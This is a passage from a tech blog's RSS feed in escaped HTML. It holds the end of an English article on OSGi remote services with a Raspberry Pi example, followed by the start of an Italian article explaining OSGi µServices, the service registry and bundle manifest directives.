less than the Apache Karaf instance on Raspberry Pi);&lt;/li&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/smclab/aries-rsa-whoiam-examples&quot;&gt;aries-rsa-whoiam-examples&lt;/a&gt; &lt;/strong&gt;:
Maven project containing bundles for the Who I am Service (see
Table 2);&lt;/li&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/smclab/aries-rsa-raspberrypi-examples&quot;&gt;aries-rsa-raspberrypi-examples&lt;/a&gt; &lt;/strong&gt;:
Maven project which contains bundles for the Raspberry Pi Service
(see Table 2).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The repositories of the two OSGi projects contain what we can define as bonuses,
that is, two OSGi commands to interact with the Who I am service and with the service
Raspberry Pi. I remind you that the OSGi commands are real commands
that we can call from the OSGi container console.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/smclab/aries-rsa-whoiam-examples/blob/master/consumer/src/main/java/it/smc/techblog/apache/aries/rsa/examples/whoiam/consumer/WhoIamConsumerCommand.java&quot;&gt;WhoIamConsumerCommand&lt;/a&gt;
OSGi Command to interact with the Who I am service.&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://github.com/smclab/aries-rsa-raspberrypi-examples/blob/master/consumer/src/main/java/it/smc/techblog/apache/aries/rsa/examples/raspberrypi/consumer/RaspberryPiServiceConsumerCommand.java&quot;&gt;RaspberryPiServiceConsumerCommand&lt;/a&gt;
OSGi Command to interact with the Raspberry Pi service. For example, one of the commands returns the CPU temperature.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Each repository has inside the README with the basic instructions for use.&lt;/p&gt;&lt;h2 id=&quot;8-conclusions&quot;&gt;8. Conclusions&lt;/h2&gt;&lt;p&gt;For the topics we have covered, this article is a consequence
of the speech I gave at
&lt;strong&gt;&lt;a href=&quot;https://liferaypartneritalia.smc.it/scarica-materiali-liferay-bootcamp-2020&quot;&gt;Liferay Boot Camp Summer Edition 2020&lt;/a&gt;&lt;/strong&gt;,
where I specifically discussed the Liferay platform within
contexts of Microservices.&lt;/p&gt;&lt;p&gt;As much as I have tried to be concise, with this article I wanted
demonstrate how the OSGi framework with its real µServices is capable of
foster the development of lightweight, reliable and clean distributed systems.&lt;/p&gt;&lt;p&gt;I realize that more space would be needed, but with what I am
managed to occupy I hope to have been clear in the exposition and to have
aroused your curiosity on the subject.&lt;/p&gt;&lt;p&gt;I think I can say that it is difficult to find articles with this around the net
level of detail and who have addressed the development of a practical solution
making all the material available to you.&lt;/p&gt;&lt;p&gt;If you&amp;#x27;ve made it this far, I guess you&amp;#x27;ve also amassed a number of
questions that I invite you to leave in the form of a comment on the article. Coming soon
other in-depth articles will be published.&lt;/p&gt;&lt;h2 id=&quot;9-resources&quot;&gt;9. Resources&lt;/h2&gt;&lt;p&gt;To follow I leave a series of resources that are the reference point for
contents of this article.&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.osgi.org/&quot;&gt;The Dynamic Module System for Java&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://enroute.osgi.org/&quot;&gt;OSGi eRoute&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;http://blog.vogella.com/2016/06/21/getting-started-with-osgi-declarative-services/&quot;&gt;Getting Started with OSGi Declarative Services&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://help.liferay.com/hc/en-us/articles/360018162451-Introduction-to-OSGi-Basics-for-Liferay-Development&quot;&gt;Introduction to OSGi Basics for Liferay Development&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.manning.com/books/osgi-in-action&quot;&gt;OSGi in Action&lt;/a&gt; (book)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://amzn.to/2DyA3FM&quot;&gt;Building Microservices: Designing Fine-grained Systems&lt;/a&gt; (book)&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://amzn.to/3ggizMo&quot;&gt;Microservices Patterns: With Examples in Java&lt;/a&gt; (book)&lt;/li&gt;&lt;/ul&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk3 { color: #6A9955; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk7 { color: #B5CEA8; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Cosa sono gli OSGi Remote µServices]]></title><link>https://techblog.smc.itcosa-sono-osgi-remote-services</link><guid isPermaLink="false">https://techblog.smc.itcosa-sono-osgi-remote-services</guid><pubDate>Fri, 31 Jul 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Siamo in un periodo storico dell&amp;#x27;informatica dove tutti vanno pazzi per i
&lt;strong&gt;Microservices&lt;/strong&gt;. Chiunque abbia coniato il termine qualche anno addietro,
chiaramente non sapeva o non gliene importava che il concetto di &lt;strong&gt;µServices&lt;/strong&gt;
fosse già stato
&lt;a href=&quot;http://blog.osgi.org/2010/03/services.html&quot;&gt;introdotto nel 2010&lt;/a&gt; da
&lt;a href=&quot;https://www.linkedin.com/in/pkriens/&quot;&gt;Peter Kriens&lt;/a&gt; (Software Architect presso
la &lt;a href=&quot;https://www.osgi.org/&quot;&gt;OSGi Alliance&lt;/a&gt;). La sua idea è sostanzialmente quella
estratta dal suo articolo e che riporto a seguire, in cui il termine &lt;strong&gt;&amp;quot;micro&amp;quot;&lt;/strong&gt;
ha effettivamente senso.&lt;/p&gt;&lt;blockquote class=&quot;ContainerBleed-module--bleed--xdVv_ BigBlockquote-module--root--6Kp0m&quot;&gt;&lt;div class=&quot;BigBlockquote-module--content--exgDP&quot;&gt;&lt;div&gt;What I am promoting is the idea of µServices, the concepts of an OSGi service as a design primitive. (cit. Peter Kriens)&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;p&gt;Adesso ci troviamo nella situazione che abbiamo due termini che si pronunciano
allo stesso modo ma hanno un significato diverso per quanto riguarda
l&amp;#x27;implementazione! Fortunatamente possiamo scriverli in forma diversa.&lt;/p&gt;&lt;p&gt;Quindi, scriveremo di &lt;strong&gt;µServices&lt;/strong&gt; per fare riferimento ai piccoli ma buoni
servizi Java, indipendenti e
&lt;a href=&quot;https://en.wikipedia.org/wiki/Cohesion_(computer_science)&quot;&gt;coesi&lt;/a&gt;, che ci
consentono di raggiungere gli stessi obiettivi senza il sovraccarico dei
&lt;strong&gt;Microservices&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Per concludere questa breve disquisizione sui termini per poi passare alla
sostanza, vi consiglio la lettura dell&amp;#x27;articolo
&lt;a href=&quot;https://blog.osgi.org/2014/06/software-mixed-with-marketing-micro.html&quot;&gt;Software mixed with marketing: micro-services&lt;/a&gt;
pubblicato sempre da &lt;a href=&quot;https://www.linkedin.com/in/pkriens/&quot;&gt;Peter Kriens&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Nel corso di questo articolo, che direi essere la prosecuzione del mio
intervento
&lt;a href=&quot;https://bit.ly/slide-musarra-liferay-microservice&quot;&gt;Liferay as Digital Experience Platform in the context of Microservices&lt;/a&gt;
(tenuto al Liferay Boot Camp 2020 Summer Edition), vorrei portarvi a valutare il
framework OSGi come valida soluzione per l&amp;#x27;implementazione della vostra
architettura a Microservices.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;YoutubeVideo-module--content--1lxMp&quot;&gt;&lt;div class=&quot;YoutubeVideo-module--margin--D5-Qe&quot;&gt;&lt;iframe class=&quot;YoutubeVideo-module--video--2DWHr&quot; src=&quot;https://www.youtube.com/embed/kmOGekvzOkg&quot; frameBorder=&quot;0&quot; allow=&quot;accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Per seguire con efficacia i contenuti dell&amp;#x27;articolo è comunque consigliabile un
minimo d&amp;#x27;infarinatura sul framework OSGi, per questo posso consigliarvi la
lettura di questa sintetica presentazione
&lt;a href=&quot;https://www.slideshare.net/amusarra/osgi-e-liferay-7&quot;&gt;OSGi e Liferay 7&lt;/a&gt; del
2016 tenuta allo User Group Italiano di Liferay a Bologna.&lt;/p&gt;&lt;h2 id=&quot;1-osgi-µservices&quot;&gt;1. OSGi µServices&lt;/h2&gt;&lt;p&gt;I servizi OSGi o µServices sono il concetto chiave utilizzato per creare basi di
&lt;strong&gt;codice modulare&lt;/strong&gt;. Al livello più basso OSGi riguarda il caricamento di
classe; ogni modulo (o bundle) ha il proprio caricatore di classi o class
loader. Un bundle definisce le dipendenze esterne usando la direttiva
&lt;strong&gt;Import-Package&lt;/strong&gt;. Solo i package esportati esplicitamente attraverso la
direttiva &lt;strong&gt;Export-Package&lt;/strong&gt; possono essere utilizzati da altri package.&lt;/p&gt;&lt;p&gt;Questo livello di modularità assicura che solo le &lt;strong&gt;API&lt;/strong&gt; (interfacce Java)
siano condivise tra i bundle e le &lt;strong&gt;classi di implementazione&lt;/strong&gt; siano
strettamente &lt;strong&gt;nascoste&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Altri bundle possono quindi utilizzare il servizio cercandolo dall&amp;#x27;interfaccia
del servizio. Il bundle può utilizzare il servizio utilizzando la sua
interfaccia, ma non deve sapere quale implementazione viene utilizzata o chi ha
fornito l&amp;#x27;implementazione. In OSGi questo problema è risolto dal registro dei
servizi o &lt;strong&gt;Service Registry&lt;/strong&gt;. Il registro dei servizi fa parte del framework
OSGi. Un bundle può registrare un servizio in questo registro. Ciò registrerà
un&amp;#x27;istanza di una classe di implementazione nel registro con la sua interfaccia.&lt;/p&gt;&lt;p&gt;Volendo brevemente riassumere, potremmo dire che:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;i µServices o servizi, sono costituiti da una serie d&amp;#x27;interfacce e classi
Java registrate all&amp;#x27;interno del
&lt;strong&gt;&lt;a href=&quot;https://docs.osgi.org/specification/osgi.core/7.0.0/framework.service.html#framework.service.registeringservices&quot;&gt;Service Registry&lt;/a&gt;&lt;/strong&gt;;&lt;/li&gt;&lt;li&gt;un componente o
&lt;strong&gt;&lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.component.html#service.component-components&quot;&gt;component&lt;/a&gt;&lt;/strong&gt;
può essere pubblicato come servizio;&lt;/li&gt;&lt;li&gt;un componente o &lt;strong&gt;component&lt;/strong&gt; può richiedere un servizio;&lt;/li&gt;&lt;li&gt;i servizi sono registrati dal
&lt;strong&gt;&lt;a href=&quot;https://docs.osgi.org/specification/osgi.cmpn/7.0.0/service.component.html#d0e41839&quot;&gt;Bundle Activator&lt;/a&gt;&lt;/strong&gt;.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;La figura a seguire mostra il Service Registry dove ogni bundle può registrare i
propri service ma anche dove ogni bundle può trovare i servizi da consumare;
potremmo dire che sia una sorta di &amp;quot;faldone&amp;quot;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:352px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/546f8ba310c0810a7ab2672962a39395/ba1c3/osgi-service-registry.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:35.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;143\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20143\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M28%2038c-5%202-5%205-5%2025%200%2032-1%2031%2040%2031%2026%200%2028-1%2031-3%204-3%206-7%206-18V63h40l40%201v20h3c3%201%205%200%2010-2l7-4v54h143V94h11l15-1c3%200%209-6%208-7l1-1V41c-3-5-4-5-38-5s-34%200-37%207l-1%2011v8l-10%201h-39l-30-1-21-10-22-11v10c0%208%200%2010-2%2010-3%202-45%201-44%200%202-2%201-10-1-10-3-1-4%200-4%206l1%205h-29l-1-9c-1-17%200-17-38-17-28%200-32%200-34%202m0%202l-3%203v19c0%2020%200%2020%202%2023l3%203h30c32%200%2034%200%2037-5%201-3%202-36%200-40-2-6-4-6-37-6H31l-3%203m281-1c-4%202-5%205-5%2024v18l3%204%204%203h30c39%200%2037%201%2037-25%200-17-1-21-5-24-3-3-60-3-64%200M181%2063l1%2018%2019-9%2019-10-19-9-19-9-1%2019m37%203l-2%203-7%205-7%203v54h139v-14l-1-18v-5h-14c-17-1-19-1-22-8l-2-13v-9h-41c-38%200-42%200-43%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/546f8ba310c0810a7ab2672962a39395/c85cb/osgi-service-registry.webp 300w,/static/546f8ba310c0810a7ab2672962a39395/edd59/osgi-service-registry.webp 352w&quot; sizes=&quot;(max-width: 352px) 100vw, 352px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/546f8ba310c0810a7ab2672962a39395/5a46d/osgi-service-registry.png 300w,/static/546f8ba310c0810a7ab2672962a39395/ba1c3/osgi-service-registry.png 352w&quot; sizes=&quot;(max-width: 352px) 100vw, 352px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Registrazione dei servizi sul registro e uso degli stessi da parte
dei bundle&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/546f8ba310c0810a7ab2672962a39395/ba1c3/osgi-service-registry.png&quot; title=&quot;Figura 1 - Registrazione dei servizi sul registro e uso degli stessi da parte
dei bundle&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Registrazione dei servizi sul registro e uso degli stessi da parte
dei bundle&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;La figura a seguire mostra il classico &lt;strong&gt;OSGi Service Pattern&lt;/strong&gt; che le
applicazioni modulari seguono. Una tipica applicazione è quindi constituita da:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;un bundle che definisce tutte le API (interfacce Java) e quest&amp;#x27;ultime sono
esportate verso &amp;quot;l&amp;#x27;esterno&amp;quot; tramite la direttiva
&lt;strong&gt;&lt;a href=&quot;https://docs.osgi.org/specification/osgi.core/7.0.0/framework.module.html#framework.module.exportpackage&quot;&gt;Export-Package&lt;/a&gt;&lt;/strong&gt;;&lt;/li&gt;&lt;li&gt;un bundle che implementa le interfacce definite dal bundle delle API. Questo
utilizza la direttiva
&lt;strong&gt;&lt;a href=&quot;https://docs.osgi.org/specification/osgi.core/7.0.0/framework.module.html#framework.module.importpackage&quot;&gt;Import-Package&lt;/a&gt;&lt;/strong&gt;.
I servizi implementati sono registrati all&amp;#x27;interno del Service Registry;&lt;/li&gt;&lt;li&gt;un bundle &lt;strong&gt;Client&lt;/strong&gt; (o Consumer) che consuma i servizi definiti dalle API.
Questo utilizza la direttiva &lt;strong&gt;Import-Package&lt;/strong&gt;. I riferimenti ai servizi che
saranno consumati sono resi disponibili grazie all&amp;#x27;interazione con il Service
Registry.&lt;/li&gt;&lt;/ol&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:638px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/b2e7f3c870d105eb81c76b3aa4913384/8608d/osgi-service-pattern.jpg&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:75%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;300\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20300\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M101%2031c-3%203-3%2011%200%2013%202%202%208%202%2010%200%202-3%202-12%200-14-3-2-8-1-10%201m29-1c-6%203-5%2012%201%2015%205%202%208%200%208-5%200-4%200-4-3-4-4%201-4%202-1%203%202%201%202%203-1%204-5%201-7-8-3-11h8c0-3-4-4-9-2m100%200v9c1%207%202%209%203%204%200-3%201-4%203-4%203%200%205-3%204-6%200-3-9-5-10-3m25%201v1l-1%201c-2%201-2%201-1%203%202%202%202%202%202%206%200%203%200%203%203%203l2-1-1-1c-3%200-3-7%200-7%203-1%203%200%203%204s3%207%205%205c2%200%201-2%200-2-3%200-3-7%200-7%201-1%201-1-1-3-3-3-4-4-4-1-1%202-5%202-5-1h-2M98%2074l-2%202-8%201c-8%200-8%200-8%202s-1%203-4%203c-5%201-13%207-18%2014a97%2097%200%2000-8%20100c5%2010%2014%2021%2019%2022l2%203h2c2-1%202-1%202%201s1%203%2010%203l9%201v10c0%2017%200%2017%2027%2017%2022-1%2023-1%2023-10%201-5%201-5%203-5%205%201%206%201%207-2%200-1%200-2-2-2l-2-1%207-1%206%201-1%201c-2%200-3%200-3%202l-1%201v-2c0-2-2-1-3%200l1%202v1c-1%201-1%201%201%201h3l1%201v1l2-1%201-1%201-3c0-3%200-3%204-4l5%201-1%201-1%203%202%202c2%200%202%200%201-1v-1l1-2v-3l1%203c0%204%200%204%204%204%203%200%203%200%202-1l-1-1c3%200%202-2%200-3l-2%202c-1%201-1%201-1-1l1-2%2015-1%2015%201v4c0%202%200%202%202-1l1-3v7l1-4%201-4v3c0%204%200%204%205%204l3-1v-1c1-1%202%200%202%201l1%201%201-2%201-2%201%202%202%201%202-2c0-1-1-2-3-2l-2-1%209-1c9%200%209%200%206%206l1%202%202-4c1-4%202-5%204-3l-1%201-1%202%201%202%201%203%202%206c4%205%207%206%2031%206%2036%200%2033%205%2033-55%200-52%200-52-8-54-6-2-48-1-51%201-5%202-7%206-7%2012%200%205-1%207-3%205h-43l4-1%201-3-1-4-1%201-2%202c-2%200-3%200-3%203v3h-16l-15-1%201-1%201-4c0-2%200-3-1-2%200%201-1%202-3%201-2%200-2%200-2%203v4h-22v-7c0-13%200-12-24-13l-24%201c-1%202-4%202-9%202-9%200-11%201-11%203%200%204-7%200-12-6-14-20-7-52%2013-58%202-1%202-1%202%201%200%203%200%203%207%203l7%201v10c0%2016-1%2015%2025%2015%2027%200%2025%202%2025-20%201-23%202-21-23-21H98M60%2095l-4%206c-23%2030-18%2092%2010%20114l5%202h2c1%201%202%201%202-1%201-3%201-3%2011-3l12-1%2021-1c26%200%2025%200%2025%2012%200%207%201%207%203%207h2l51%201h50v-33c0-30%200-32-2-32h-3l-19-1c-2%200-3%201-5%208l-2%202%201-5%202-5h-38l-38%201-1%207c-1%2012%200%2012-26%2012s-25%200-25-15c0-10%200-11-2-11h-8c-6%200-7-1-7-3s-1-2-2-1l-2-1-3-4c-7-4-13-16-15-29%200-6%201-14%205-22l1-5-1%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/b2e7f3c870d105eb81c76b3aa4913384/c85cb/osgi-service-pattern.webp 300w,/static/b2e7f3c870d105eb81c76b3aa4913384/e88ff/osgi-service-pattern.webp 600w,/static/b2e7f3c870d105eb81c76b3aa4913384/a2d8a/osgi-service-pattern.webp 638w&quot; sizes=&quot;(max-width: 638px) 100vw, 638px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/b2e7f3c870d105eb81c76b3aa4913384/f93b5/osgi-service-pattern.jpg 300w,/static/b2e7f3c870d105eb81c76b3aa4913384/b4294/osgi-service-pattern.jpg 600w,/static/b2e7f3c870d105eb81c76b3aa4913384/8608d/osgi-service-pattern.jpg 638w&quot; sizes=&quot;(max-width: 638px) 100vw, 638px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figura 2 - OSGi Service Pattern&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/b2e7f3c870d105eb81c76b3aa4913384/8608d/osgi-service-pattern.jpg&quot; title=&quot;Figura 2 - OSGi Service Pattern&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 2 - OSGi Service Pattern&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;La figura a seguire mostra un esempio di applicazione modulare OSGi in
esecuzione all&amp;#x27;interno di un container OSGi Apache Karaf dov&amp;#x27;è evidente la
separazione nei tre bundle: API, Service (impl) e Consumer (client).&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1131px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/57251ba87d85eb24a9f1ee95c9e34f99/a0730/esempio-osgi-service-pattern-api-impl-client.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:35%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;140\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20140\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2070v70h401V0H0v70m15-55v6H8l-6%201h13v55l1%2055V22h34v55l1%2055V22h44a1034%201034%200%20001-1H51v-6l-1-5v11H16v-6l-1-5v5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/57251ba87d85eb24a9f1ee95c9e34f99/c85cb/esempio-osgi-service-pattern-api-impl-client.webp 300w,/static/57251ba87d85eb24a9f1ee95c9e34f99/e88ff/esempio-osgi-service-pattern-api-impl-client.webp 600w,/static/57251ba87d85eb24a9f1ee95c9e34f99/bcfd3/esempio-osgi-service-pattern-api-impl-client.webp 1131w&quot; sizes=&quot;(max-width: 1131px) 100vw, 1131px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/57251ba87d85eb24a9f1ee95c9e34f99/5a46d/esempio-osgi-service-pattern-api-impl-client.png 300w,/static/57251ba87d85eb24a9f1ee95c9e34f99/0a47e/esempio-osgi-service-pattern-api-impl-client.png 600w,/static/57251ba87d85eb24a9f1ee95c9e34f99/a0730/esempio-osgi-service-pattern-api-impl-client.png 1131w&quot; sizes=&quot;(max-width: 1131px) 100vw, 1131px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 3 - Esempio di un&amp;#x27;applicazione modulare OSGi che segue il pattern OSGi
Service Pattern&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/57251ba87d85eb24a9f1ee95c9e34f99/a0730/esempio-osgi-service-pattern-api-impl-client.png&quot; title=&quot;Figura 3 - Esempio di un&amp;#x27;applicazione modulare OSGi che segue il pattern OSGi
Service Pattern&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 3 - Esempio di un&amp;#x27;applicazione modulare OSGi che segue il pattern OSGi
Service Pattern&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Il Source Code 1 mostra invece il MANIFEST.MF contenuto all&amp;#x27;interno del bundle
delle API dov&amp;#x27;è possibile vedere la direttiva &lt;strong&gt;Export-Package&lt;/strong&gt; che esprime il
package che sarà esportato (quindi visibile all&amp;#x27;esterno) e la versione
specifica.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;0&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;Manifest-Version: 1.0&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Bnd-LastModified: 1595983877560&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Bundle-Description: Aries Remote Service Admin Examples - Raspberry Pi API&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Bundle-ManifestVersion: 2&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Bundle-Name: Aries Remote Service Admin Examples - Raspberry Pi API&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Bundle-SymbolicName: it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Bundle-Version: 1.0.0.202007290051&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Created-By: 1.8.0_181 (Oracle Corporation)&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Export-Package: it.smc.techblog.apache.aries.rsa.examples.raspberrypi.api;version=&amp;quot;1.0.0&amp;quot;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Require-Capability: osgi.ee;filter:=&amp;quot;(&amp;amp;(osgi.ee=JavaSE)(version=1.8))&amp;quot;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;Tool: Bnd-4.2.0.201903051501&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 1 - Manifest del bundle API con evidenza della direttiva Export-Package&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;I tre sorgenti Java a seguire, mostrano rispettivamente:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;la definizione dell&amp;#x27;interfaccia (bundle API);&lt;/li&gt;&lt;li&gt;l&amp;#x27;implementazione del servizio la cui interfaccia è stata definita dal bundle
